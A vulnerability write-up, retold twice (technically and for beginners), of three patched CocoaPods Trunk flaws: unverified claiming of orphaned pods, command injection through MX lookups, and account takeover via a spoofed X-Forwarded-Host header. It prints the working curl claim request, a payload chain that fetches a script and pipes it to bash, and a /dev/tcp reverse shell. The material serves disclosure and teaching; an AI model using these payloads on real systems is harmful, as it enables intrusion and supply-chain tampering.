Vulnerabilities In CocoaPods Open The Door To Supply Chain Attacks Against Thousands Of iOS And MacOS Applications
Several vulnerabilities in the CocoaPods dependency manager allowed attackers to claim orphaned pods, execute commands on the Trunk server, and take over accounts via a spoofed header. An attacker could then inject malicious code into popular iOS and macOS applications, affecting many devices.
Published on evasec.io
Open source code is ubiquitous in modern software development. When reviewing client code, it’s not unusual for us to find that 70-80% is composed of open source libraries, packages, or frameworks.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
CocoaPods is an open source dependency manager for Swift and Objective-C projects. The report puts it at about 100,000 libraries used in over 3 million mobile apps. Like NPM, Maven and PyPI, it sits in the software supply chain: it checksums and cryptographically signs packages so developers can verify the integrity and authenticity of what they pull in. That also makes it a high-value target, because compromising the manager itself lets an attacker push malicious updates that spread widely.
Originally, CocoaPods identified Podspec authors through their GitHub-associated accounts. In May 2014 the project announced a migration to a new 'Trunk' server, a centralised repository and distribution platform with a web service application. The new flow included email validation, probably to improve security. As part of the migration, authorship of every previously uploaded Pod was reset, and authors had to claim ownership of their Pods to keep control. Many did not, which left a large set of orphaned pods. At the time of writing the report counts 1,866 orphaned pods.
The write-up covers four issues: claiming orphaned pods without authorisation, remote code execution on the Trunk server, a zero-click account takeover through a spoofed header, and a separate vulnerability that allowed infiltrating the Trunk server for a near-unlimited range of exploits. The first three are described in technical detail.
Setup
The work was done as part of a red team exercise for a customer. The researchers analysed the source code of the Trunk server and the third-party libraries it depends on. The techniques used are ordinary HTTP tooling: curl for the API calls, a controlled domain with attacker-chosen DNS records, a controlled HTTP server to host a payload, and a listener for a reverse shell.
Finding it
Three separate observations led to the findings.
- Reading the Trunk source showed that all orphan pods were associated with a default CocoaPods owner, and the email created for that default owner was
[redacted]. The public API endpoint to claim a pod was still available, and it allowed anyone to claim orphaned pods without any ownership verification process. - A commit from 8 February 2014 implemented MX record validation for registered emails using the third-party ruby gem
rfc-822. The registration flow validates the email format against RFC822 with regular expressions, then looks up the domain's MX records through that gem. The gem builds an OS command from the user-supplied domain. - The session creation flow builds the verification URL from
request.host_with_port. In Rack, that method prioritises theX-Forwarded-Hostheader over the originalHostheader or any other environment value, so a spoofed header ends up in the link that is emailed to the account owner.
Exploitation
Step 1: Claiming orphaned pods (CVE-2024-38368)
The claim endpoint was reachable on the public API. The Trunk app controller still exposed the "temporary" /claims routes.

A single request with the target pod name was enough to take ownership:
# Curl request for changing ownership of a targeted orphaned pod
curl -X 'POST' \
-H 'Host: trunk.cocoapods.org' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'owner[name]=EVA&email=[redacted]'
--data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND'
'https://trunk.cocoapods.org/claims'
The request posts form-encoded data to /claims. owner[name] and email identify the new owner, pods[] names the orphaned pod to take over, and button=SEND matches the form submission the endpoint expects. No proof of ownership of the pod is required. Once the pod is claimed, the attacker can manipulate its source code or insert malicious content, and that pod then infects downstream dependencies.

The implications are broad. Orphaned pods are dependencies of many other packages. The researchers found mentions of orphaned pods in documentation or terms of service of applications from Meta (Facebook, WhatsApp), Apple (Safari, AppleTV, Xcode) and Microsoft (Teams), as well as in TikTok, Snapchat, Amazon, LinkedIn, Netflix, Okta, Yahoo, Zynga and others. In total they found 685 pods with an explicit dependency on an orphaned pod, and there are likely hundreds or thousands more in proprietary codebases.
Step 2: Remote code execution on Trunk (CVE-2024-38366)
The registration flow works like this:
- The developer registers as a pod owner through the CocoaPods CLI, providing email, name and account description.
- The server checks the email's uniqueness and validates its format against RFC822 using regular expressions.
- The server examines the email domain's MX records to confirm the address is valid, using the
rfc-822ruby package. - If everything checks out, the owner account is created.
The commit that introduced this validation is shown below.

The validates_mx_records method, declared through lines 70-73, calls RFC822.mx_records. That gem has several vulnerable methods.

- Lines 36-47,
mx_records: takes an email address, validates it against the module's EMAIL regex pattern (line 38), then callsraw_mx_recordswith the domain part split from the address (line 41). - Lines 49-51,
raw_mx_records: takes the domain part and forwards it tohost_mxfor online DNS MX record validation. The output is matched against a regex to obtain the relevant host. - Lines 53-55,
host_mx: executes the OS command/usr/bin/env host -t MX #{domain}, concatenating the user-supplied domain into it. That is a command injection.
To get a reverse shell from the Trunk server, the researchers used this set of payloads.
Email address to register with:
[redacted]|bash
MX record of pwn.evaresearch.com:
10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com
Payload file served at http://serve.evasecresearch.com/payload.txt:
sh -i >& /dev/tcp/SERVER/1337 0>&1
The trailing |bash in the email address is injected into the host command. The MX record value contains valid bash syntax, so when the server resolves the attacker-controlled domain, the value is executed in the context of the host command. The MX record fetches payload.txt from the attacker's HTTP server and pipes it to bash, which opens the reverse shell to the listener.
A compromise of the server would let an attacker dump all pod owners' session tokens, poison clients' traffic, or shut the server down completely.
Step 3: Zero-click account takeover (CVE-2024-38367)
CocoaPods authenticates a new device through a session creation process. The client sends a request to the Trunk server to obtain a session, providing only its email address. The session is not valid until the owner visits a link sent to their mailbox.


The vulnerability is in the sessions_controller class, where the application constructs the session validation URL.

Lines 21-22 build the domain part of the verification URL with request.host_with_port, create a new session, and send the generated link by email. Looking at the Rack implementation of request.host_with_port shows that it prioritises X-Forwarded-Host over the original Host header or any other environment value when determining the hostname.

So an attacker can inject the header to spoof the generated link:
X-Forwarded-Host: research.evasec.io → https://research.evasec.io/sessions/verify/[TOKEN]
The request that triggers it:
POST /api/v1/sessions HTTP/1.1
Host: trunk.cococapods.org
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
User-Agent: CocoaPods/1.12.1
Accept-Encoding: gzip, deflate
X-Forwarded-Host: research.evasec.io
Content-Length: 78
{
"email":"[redacted]",
"name":"EVAResearch",
"description":null
}
The body supplies an email address, a name and a null description. The spoofed X-Forwarded-Host makes the server generate a validation link pointing at the attacker's domain. The email sent by the Trunk server contains that URL.

With the token from the link, the attacker visits the validation URL and takes over the account.


That is still a one-click attack: the victim has to open the link. To make it zero-click, the validation link has to leave the victim's inbox automatically. Email security products scan incoming mail for phishing links, comparing HTML content against known phishing templates. The researchers asked whether the scanner could be made to follow the spoofed link and hand back the token.

Almost every pod owner is registered with their organisational email on Trunk, which makes them reachable this way. Amazon developer emails, for example, are registered under the organisation's email system.

Because email security solutions actively scan every link sent to those inboxes, it was simple to take over almost every organisational pod account in the system. The screenshot below shows multiple session validation tokens that were sent to the researchers, meaning accounts in the system had been taken over and were under their control.

A compromised account gives full control of the CocoaPods it owns. The attacker can manipulate pod specifications, disrupt distribution of legitimate libraries, or cause widespread disruption in the ecosystem. The researchers took over owner accounts of some of the most popular CocoaPods packages, which could have been used for supply chain attacks affecting the entire Apple ecosystem.
Root cause
Three distinct mistakes, one per issue.
- Orphan claims: the migration reset authorship and parked every orphan pod under a default owner, but the public
/claimsendpoint was left reachable and performed no ownership verification. The default owner's email,[redacted], was visible in the source, so the claim path was easy to find. - Command injection: the
rfc-822gem interpolates the user-supplied email domain directly into a shell command,/usr/bin/env host -t MX #{domain}, without sanitising it. The RFC822 regex check on the email address does not prevent shell metacharacters from reaching the command, and the MX record value itself is attacker-controlled data that ends up executed. - Host header trust: the session controller builds the verification URL from
request.host_with_port, and Rack prefersX-Forwarded-HostoverHost. The application trusted a client-supplied header to decide where a security-sensitive link points. Email scanners then followed that link, so a defence designed to catch phishing delivered the token instead.
Impact
The report estimates that a significant percentage of the Swift and Objective-C ecosystem, including iOS, macOS and other Apple device software, was susceptible, with an estimated range of thousands to millions of apps. Because dependencies are opaque in closed-source code, the real harm is hard to measure. Downstream dependencies mean thousands of applications and millions of devices could have been exposed over the last few years.
An attacker who claimed orphaned pods could replace their source with malicious code and reach every downstream dependency. An attacker with code execution on Trunk could dump all pod owners' session tokens, poison clients' traffic or shut the server down. An attacker who took over owner accounts could manipulate pod specifications and disrupt distribution. The report notes there is no direct evidence of exploitation in the wild, but adds that evidence of absence is not absence of evidence.
Fix
The report states that the vulnerabilities were disclosed to CocoaPods and have since been patched. It does not describe the individual patches. The changes it does describe are the ones that introduced the problems: the 2014 migration to Trunk and the 8 February 2014 commit adding MX validation through rfc-822.
For developers, the report recommends:
- Keep
podfile.locksynchronised across the team so nobody automatically pulls a harmful update. - For internally developed pods hosted on CocoaPods for distribution, validate the CRC (checksum) of the copy downloaded from the Trunk server against the internally developed one where possible.
- Perform a thorough security review of third-party code.
- Review CocoaPods dependencies and verify none are orphaned.
- Use dependencies that are actively maintained and whose ownership is clear.
- Run periodic security scans for secrets and malicious code on all external libraries, especially CocoaPods.
- Treat very widely used dependencies as attractive targets.
Organisations that used CocoaPods before October 2023 should take extra care with these steps.
Variants to test
- Legacy claim or transfer endpoints. Look for routes left over from migrations that still accept a pod or package name and an owner identity. A positive result is a successful ownership change for a package you do not control, with no verification step.
- Default or placeholder owners. Search source and public data for default accounts such as
unclaimed-pods@...and check whether their packages can be claimed. A positive result is a package listed under a default owner that you can reassign. - Shell interpolation in validation libraries. Any dependency that builds an OS command from user input, such as DNS or MX lookups, is a candidate. Register with an address whose domain contains shell metacharacters and point the domain's records at a command. A positive result is execution on the server, for example an outbound connection to your listener.
X-Forwarded-Hostin emailed links. Trigger any flow that emails a link containing a token, with a spoofedX-Forwarded-Host. A positive result is an email whose link points at your domain and carries a valid token.- Email scanners as token exfiltration. Send the spoofed link to an address protected by a link-scanning product and watch your server logs. A positive result is an automated request from the scanner carrying the token, which turns a one-click flow into a zero-click one.
- Other proxy headers. Test
Forwarded,X-Forwarded-Protoand similar headers wherever the application builds absolute URLs. A positive result is a generated URL whose host or scheme you control.
What happened, in plain words
CocoaPods is a tool that iOS and macOS developers use to pull ready-made pieces of code, called libraries or packages, into their apps instead of writing everything themselves. The researchers who wrote this report found several flaws in the servers that run CocoaPods. In the worst case, someone could take over packages that thousands of apps depend on and slip malicious code into them. The flaws have been fixed.
This article walks through the report from the beginning, assuming you have never done any security work. Every technical word is explained the first time it appears, and there is a glossary at the end.
Background: what CocoaPods is and why it matters
Almost every modern app is built partly from code that other people wrote. The report says that when the researchers review a client's code, it is common to find that 70 to 80 percent of it is made of open source libraries, packages or frameworks. Open source means the code is published publicly and anyone can use it.
That is convenient, but it creates a chain of trust. If a library you use is tampered with, the tampering flows into your app. Security people call this a software supply chain attack, by analogy with a physical supply chain: if someone swaps a box of ingredients before it reaches the factory, every product made from it is affected. The report mentions Log4Shell as a famous example of such an attack.
A dependency manager is a program that fetches those libraries for you and keeps track of which version you use. CocoaPods is the dependency manager for Swift and Objective-C, the two main programming languages for Apple platforms. The report puts it at about 100,000 libraries used in over 3 million mobile apps.
Good dependency managers do two protective things: they compute a checksum (a kind of fingerprint of a file, so you can tell if it changed) and they cryptographically sign packages (attach a mathematical proof of who published them). That lets developers verify the integrity and authenticity of what they download. But it also makes the dependency manager itself a valuable target: whoever controls it can push malicious updates that spread to everyone.
The move to the Trunk server
Originally, CocoaPods identified the authors of packages through their GitHub accounts. In May 2014 the project announced a migration to a new server called Trunk, a central place where packages are stored and distributed, with a web application behind it. The new flow included email validation, probably to improve security.
A Podspec is the description file for a package, called a Pod. It lists the name, version, source files, dependencies and other details needed to plug the Pod into a project. When authors contribute a Podspec, they register an account and can then upload and update their Pods.
During the migration, authorship of every previously uploaded Pod was reset. Authors had to claim ownership of their Pods to keep control. Many did not, which left a large set of orphaned pods: packages with no active owner. At the time of writing, the report counts 1,866 orphaned pods.
The write-up covers four issues: claiming orphaned pods without authorisation, remote code execution on the Trunk server, a zero-click account takeover through a spoofed header, and a separate vulnerability that allowed infiltrating the Trunk server for a near-unlimited range of exploits. The first three are described in technical detail.
How the research was done
The work was part of a red team exercise for a customer. A red team is a group of security specialists hired to attack a system on purpose, with permission, to find weaknesses before real criminals do.
The researchers read the source code of the Trunk server and of the third-party libraries it uses. The techniques are ordinary web tooling:
curl, a command-line program for sending web requests.- A domain they controlled, with DNS records they chose. DNS is the internet's address book: it translates names like example.com into the technical records computers need, including MX records, which say which mail server accepts email for a domain.
- A web server they controlled, to host a payload. A payload is the code an attacker wants the victim's machine to run.
- A listener for a reverse shell. A shell is a command prompt on a computer. A reverse shell is a connection where the compromised machine calls back to the attacker and hands over a command prompt, so the attacker can type commands on it remotely.
Finding it
Three separate observations led to the findings.
- Reading the Trunk source showed that all orphan pods were associated with a default CocoaPods owner, and the email created for that default owner was
[redacted]. The public API endpoint to claim a pod was still available, and it allowed anyone to claim orphaned pods without any ownership verification process. An API is the set of web addresses a program can call to make a service do something, as opposed to the pages a human clicks in a browser. - A code change committed on 8 February 2014 added MX record validation for registered emails, using a third-party Ruby library called
rfc-822. Ruby is a programming language; a gem is Ruby's word for a reusable library. The registration flow checks the email format against a standard called RFC822 using regular expressions (patterns that describe what a valid piece of text looks like), then looks up the domain's MX records through that gem. The gem builds an operating system command out of the user-supplied domain. - The session creation flow builds the verification URL from
request.host_with_port. In Rack, the web framework CocoaPods is built on, that method prioritises theX-Forwarded-Hostheader over the originalHostheader or any other environment value, so a spoofed header ends up in the link that is emailed to the account owner. A header is a small labelled line that travels with every web request and response, carrying metadata such as which site you asked for.Hostnormally says which site the request is for;X-Forwarded-Hostis a de-facto standard header used by proxies to record the original hostname the client asked for.
Exploitation
Step 1: Claiming orphaned pods (CVE-2024-38368)
A CVE is a public catalogue number for a known security flaw, so people can refer to the same issue unambiguously.
The claim endpoint was reachable on the public API. The Trunk app controller still exposed the "temporary" /claims routes. A route is a web address the application knows how to answer.

The image shows the Trunk server's app controller, including the "temporary" /claims routes.
A single request with the target pod name was enough to take ownership:
# Curl request for changing ownership of a targeted orphaned pod
curl -X 'POST' \
-H 'Host: trunk.cocoapods.org' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'owner[name]=EVA&email=[redacted]'
--data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND'
'https://trunk.cocoapods.org/claims'
Line by line:
curlis the program sending the request.-X 'POST'chooses the HTTP method. A method is the verb of a web request:GETasks for something,POSTsends data to create or change something. Here we are changing ownership, soPOSTis right.-H 'Host: trunk.cocoapods.org'sets theHostheader, telling the server which site the request is addressed to.-H 'Content-Type: application/x-www-form-urlencoded'says the body is formatted like an HTML form submission, the same format a browser uses when you fill in a form and press submit.--data-binary 'owner[name]=EVA&email=[redacted]'is the body: the new owner's name and email address. The&separates fields, exactly as in a form.--data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND'names the orphaned pod to take over, andbutton=SENDmatches the form submission the endpoint expects.'https://trunk.cocoapods.org/claims'is the address being called.
No proof of ownership of the pod is required. Once the pod is claimed, the attacker can manipulate its source code or insert malicious content, and that pod then infects downstream dependencies. Downstream dependencies are the other packages that use this one: if they pull in the tampered pod, they inherit the tampering.

The image illustrates how a claimed pod can carry malicious content into downstream dependencies and from there into a large share of Apple devices.
The implications are broad. Orphaned pods are dependencies of many other packages. The researchers found mentions of orphaned pods in documentation or terms of service of applications from Meta (Facebook, WhatsApp), Apple (Safari, AppleTV, Xcode) and Microsoft (Teams), as well as in TikTok, Snapchat, Amazon, LinkedIn, Netflix, Okta, Yahoo, Zynga and others. In total they found 685 pods with an explicit dependency on an orphaned pod, and there are likely hundreds or thousands more in proprietary codebases. Proprietary means closed source: the code is not published, so nobody outside the company can inspect it.
Step 2: Remote code execution on Trunk (CVE-2024-38366)
Remote code execution, often shortened to RCE, means an attacker can make a server run commands of their choosing from a distance. It is one of the most serious classes of vulnerability, because the attacker effectively gains a command prompt on the machine.
The registration flow works like this:
- The developer registers as a pod owner through the CocoaPods command-line tool, providing email, name and account description.
- The server checks the email's uniqueness and validates its format against RFC822 using regular expressions.
- The server examines the email domain's MX records to confirm the address is valid, using the
rfc-822Ruby package. - If everything checks out, the owner account is created.
The commit that introduced this validation is shown below.

The image shows the CocoaPods Trunk server commit that implemented RFC822 host validation.
The validates_mx_records method, declared through lines 70-73, calls RFC822.mx_records. A method is a named block of code that does one job. That gem has several vulnerable methods.

The image shows the rfc-822 implementation of the vulnerable methods.
- Lines 36-47,
mx_records: takes an email address, validates it against the module's EMAIL regex pattern (line 38), then callsraw_mx_recordswith the domain part split from the address (line 41). - Lines 49-51,
raw_mx_records: takes the domain part and forwards it tohost_mxfor online DNS MX record validation. The output is matched against a regex to obtain the relevant host. - Lines 53-55,
host_mx: executes the operating system command/usr/bin/env host -t MX #{domain}, concatenating the user-supplied domain into it. That is a command injection: the attacker's text is pasted into a command the server runs, so the attacker can add their own commands to it.
To get a reverse shell from the Trunk server, the researchers used this set of payloads.
Email address to register with:
[redacted]|bash
MX record of pwn.evaresearch.com:
10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com
Payload file served at http://serve.evasecresearch.com/payload.txt:
sh -i >& /dev/tcp/SERVER/1337 0>&1
What each piece does:
- The email address ends in
|bash. The vertical bar is a pipe in shell syntax: it means "take the output of the command on the left and feed it to the command on the right". So the trailing|bashtells the server to run whatever comes before it through bash, the standard Linux command interpreter. - The MX record value is the text the server receives when it looks up the domain's mail records. It contains valid bash syntax:
curlfetches a file, and the result is piped tobash. The10at the start is the priority number MX records normally carry. - The payload file is a small script.
sh -istarts an interactive shell;>& /dev/tcp/SERVER/1337 0>&1connects that shell's input and output to a network connection back to the attacker's machine on port 1337. That is the reverse shell.
The trailing |bash in the email address is injected into the host command. The MX record value contains valid bash syntax, so when the server resolves the attacker-controlled domain, the value is executed in the context of the host command. The MX record fetches payload.txt from the attacker's HTTP server and pipes it to bash, which opens the reverse shell to the listener.
A compromise of the server would let an attacker dump all pod owners' session tokens, poison clients' traffic, or shut the server down completely. A session token is a short string that proves you are logged in; stealing one lets an attacker act as you without knowing your password.
Step 3: Zero-click account takeover (CVE-2024-38367)
Account takeover means an attacker gains control of someone else's account. Zero-click means the victim does not have to click anything for the attack to work; the harmful action happens on its own.
CocoaPods authenticates a new device through a session creation process. The client sends a request to the Trunk server to obtain a session, providing only its email address. The session is not valid until the owner visits a link sent to their mailbox. This is a common pattern: proving you control an email address by receiving a message at it.


The images show the session creation flow: the client provides only its email address, and the session stays invalid until the owner visits the link sent to their mailbox.
The vulnerability is in the sessions_controller class, where the application constructs the session validation URL. A class is a blueprint in code that groups related methods together; a controller is the part of a web application that handles incoming requests.

The image shows the session creation controller action in sessions_controller.rb.
Lines 21-22 build the domain part of the verification URL with request.host_with_port, create a new session, and send the generated link by email. Looking at the Rack implementation of request.host_with_port shows that it prioritises X-Forwarded-Host over the original Host header or any other environment value when determining the hostname.

The image shows the implementation of the Rack::Request#host_with_port method.
So an attacker can inject the header to spoof the generated link. Spoofing means pretending to be something you are not; here, the attacker pretends the request came in for their own domain.
X-Forwarded-Host: research.evasec.io → https://research.evasec.io/sessions/verify/[TOKEN]
This line shows the header value on the left and the link it produces on the right. [TOKEN] stands for the secret value the server generates; the attacker does not need to know it in advance, because the server fills it in.
The request that triggers it:
POST /api/v1/sessions HTTP/1.1
Host: trunk.cococapods.org
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
User-Agent: CocoaPods/1.12.1
Accept-Encoding: gzip, deflate
X-Forwarded-Host: research.evasec.io
Content-Length: 78
{
"email":"[redacted]",
"name":"EVAResearch",
"description":null
}
Line by line:
POST /api/v1/sessions HTTP/1.1is the request line: the method, the path being called, and the HTTP version. The path is the API endpoint that creates a session.Host: trunk.cococapods.orgsays which site the request is for.Content-Type: application/json; charset=utf-8says the body is JSON, a common text format for structured data.Accept: application/json; charset=utf-8says the client expects a JSON answer.User-Agent: CocoaPods/1.12.1identifies the client software, here the CocoaPods tool version 1.12.1.Accept-Encoding: gzip, deflatesays the client can accept compressed responses.X-Forwarded-Host: research.evasec.iois the spoofed header. This is the heart of the attack.Content-Length: 78says how many bytes the body contains.- The body is JSON with an email address, a name and a null description.
nullmeans "no value".
The body supplies an email address, a name and a null description. The spoofed X-Forwarded-Host makes the server generate a validation link pointing at the attacker's domain. The email sent by the Trunk server contains that URL.

The image shows the email generated by the Trunk server, containing a URL with the spoofed domain.
With the token from the link, the attacker visits the validation URL and takes over the account.


The images show the attacker using the received token to validate the session and take over the account.
That is still a one-click attack: the victim has to open the link. To make it zero-click, the validation link has to leave the victim's inbox automatically. Email security products scan incoming mail for phishing links, comparing HTML content against known phishing templates. Phishing is a fake message designed to make you click a harmful link. The researchers asked whether the scanner could be made to follow the spoofed link and hand back the token.

The image poses the question of whether the email security scanner can be made to follow the spoofed CocoaPods session validation link and hand back the token.
Almost every pod owner is registered with their organisational email on Trunk, which makes them reachable this way. Amazon developer emails, for example, are registered under the organisation's email system.

The image shows Amazon developer emails registered under the organisation's email system.
Because email security solutions actively scan every link sent to those inboxes, it was simple to take over almost every organisational pod account in the system. The screenshot below shows multiple session validation tokens that were sent to the researchers, meaning accounts in the system had been taken over and were under their control.

The image shows multiple session validation tokens that were sent to the researchers, demonstrating accounts that had been taken over.
A compromised account gives full control of the CocoaPods it owns. The attacker can manipulate pod specifications, disrupt distribution of legitimate libraries, or cause widespread disruption in the ecosystem. The researchers took over owner accounts of some of the most popular CocoaPods packages, which could have been used for supply chain attacks affecting the entire Apple ecosystem.
Root cause
Three distinct mistakes, one per issue.
- Orphan claims: the migration reset authorship and parked every orphan pod under a default owner, but the public
/claimsendpoint was left reachable and performed no ownership verification. The default owner's email,[redacted], was visible in the source, so the claim path was easy to find. - Command injection: the
rfc-822gem interpolates the user-supplied email domain directly into a shell command,/usr/bin/env host -t MX #{domain}, without sanitising it. Sanitising means cleaning input so that special characters cannot change the meaning of a command. The RFC822 regex check on the email address does not prevent shell metacharacters from reaching the command, and the MX record value itself is attacker-controlled data that ends up executed. - Host header trust: the session controller builds the verification URL from
request.host_with_port, and Rack prefersX-Forwarded-HostoverHost. The application trusted a client-supplied header to decide where a security-sensitive link points. Email scanners then followed that link, so a defence designed to catch phishing delivered the token instead.
Impact
The report estimates that a significant percentage of the Swift and Objective-C ecosystem, including iOS, macOS and other Apple device software, was susceptible, with an estimated range of thousands to millions of apps. Because dependencies are opaque in closed-source code, the real harm is hard to measure. Downstream dependencies mean thousands of applications and millions of devices could have been exposed over the last few years.
An attacker who claimed orphaned pods could replace their source with malicious code and reach every downstream dependency. An attacker with code execution on Trunk could dump all pod owners' session tokens, poison clients' traffic or shut the server down. An attacker who took over owner accounts could manipulate pod specifications and disrupt distribution. The report notes there is no direct evidence of exploitation in the wild, but adds that evidence of absence is not absence of evidence.
Fix
The report states that the vulnerabilities were disclosed to CocoaPods and have since been patched. It does not describe the individual patches. The changes it does describe are the ones that introduced the problems: the 2014 migration to Trunk and the 8 February 2014 commit adding MX validation through rfc-822.
For developers, the report recommends:
- Keep
podfile.locksynchronised across the team so nobody automatically pulls a harmful update. A lock file records the exact versions you use, so installs are repeatable. - For internally developed pods hosted on CocoaPods for distribution, validate the CRC (checksum) of the copy downloaded from the Trunk server against the internally developed one where possible.
- Perform a thorough security review of third-party code.
- Review CocoaPods dependencies and verify none are orphaned.
- Use dependencies that are actively maintained and whose ownership is clear.
- Run periodic security scans for secrets and malicious code on all external libraries, especially CocoaPods.
- Treat very widely used dependencies as attractive targets.
Organisations that used CocoaPods before October 2023 should take extra care with these steps.
Variants to test
If you are learning to test systems, these are the same ideas applied elsewhere. Each one describes what to look for and what a positive result looks like.
- Legacy claim or transfer endpoints. Look for routes left over from migrations that still accept a pod or package name and an owner identity. A positive result is a successful ownership change for a package you do not control, with no verification step.
- Default or placeholder owners. Search source and public data for default accounts such as
unclaimed-pods@...and check whether their packages can be claimed. A positive result is a package listed under a default owner that you can reassign. - Shell interpolation in validation libraries. Any dependency that builds an operating system command from user input, such as DNS or MX lookups, is a candidate. Register with an address whose domain contains shell metacharacters and point the domain's records at a command. A positive result is execution on the server, for example an outbound connection to your listener.
X-Forwarded-Hostin emailed links. Trigger any flow that emails a link containing a token, with a spoofedX-Forwarded-Host. A positive result is an email whose link points at your domain and carries a valid token.- Email scanners as token exfiltration. Send the spoofed link to an address protected by a link-scanning product and watch your server logs. A positive result is an automated request from the scanner carrying the token, which turns a one-click flow into a zero-click one. Exfiltration means secretly moving data out of a system.
- Other proxy headers. Test
Forwarded,X-Forwarded-Protoand similar headers wherever the application builds absolute URLs. A positive result is a generated URL whose host or scheme you control.
Glossary
- Account takeover: an attacker gains control of someone else's account.
- API: the set of web addresses a program can call to make a service do something, as opposed to pages a human clicks.
- Checksum: a short fingerprint computed from a file, used to detect whether it changed.
- Class: a blueprint in code that groups related methods together.
- Controller: the part of a web application that handles incoming requests.
- CVE: a public catalogue number for a known security flaw.
- Dependency manager: a program that fetches libraries for you and tracks which versions you use.
- DNS: the internet's address book, translating names into the technical records computers need.
- Downstream dependencies: other packages that use a given package, and so inherit any tampering in it.
- Exfiltration: secretly moving data out of a system.
- Gem: Ruby's word for a reusable library.
- Header: a small labelled line travelling with every web request and response, carrying metadata.
- Host header: the header that says which site a request is addressed to.
- Lock file: a file recording the exact versions of dependencies you use, so installs are repeatable.
- Method: in code, a named block that does one job; in HTTP, the verb of a request such as
GETorPOST. - MX record: a DNS record saying which mail server accepts email for a domain.
- Open source: code published publicly so anyone can use and inspect it.
- Orphaned pod: a CocoaPods package with no active owner.
- Payload: the code an attacker wants the victim's machine to run.
- Phishing: a fake message designed to make you click a harmful link.
- Pipe: shell syntax where the output of one command is fed as input to the next.
- Podspec: the description file for a CocoaPods package, listing name, version, source files and dependencies.
- Proprietary: closed source; the code is not published.
- Red team exercise: an authorised attack on a system, performed to find weaknesses before criminals do.
- Regular expression: a pattern that describes what a valid piece of text looks like.
- Remote code execution (RCE): an attacker can make a server run commands of their choosing from a distance.
- Reverse shell: a connection where a compromised machine calls back to the attacker and hands over a command prompt.
- Route: a web address the application knows how to answer.
- Sanitising: cleaning input so special characters cannot change the meaning of a command.
- Session token: a short string that proves you are logged in.
- Shell: a command prompt on a computer.
- Software supply chain attack: tampering with a component before it reaches the software that uses it, so the harm spreads to everything built from it.
- Spoofing: pretending to be something you are not.
- Trunk: the central CocoaPods server that stores and distributes packages.
- X-Forwarded-Host: a de-facto standard header used by proxies to record the original hostname the client asked for.
- Zero-click: an attack that works without the victim clicking anything.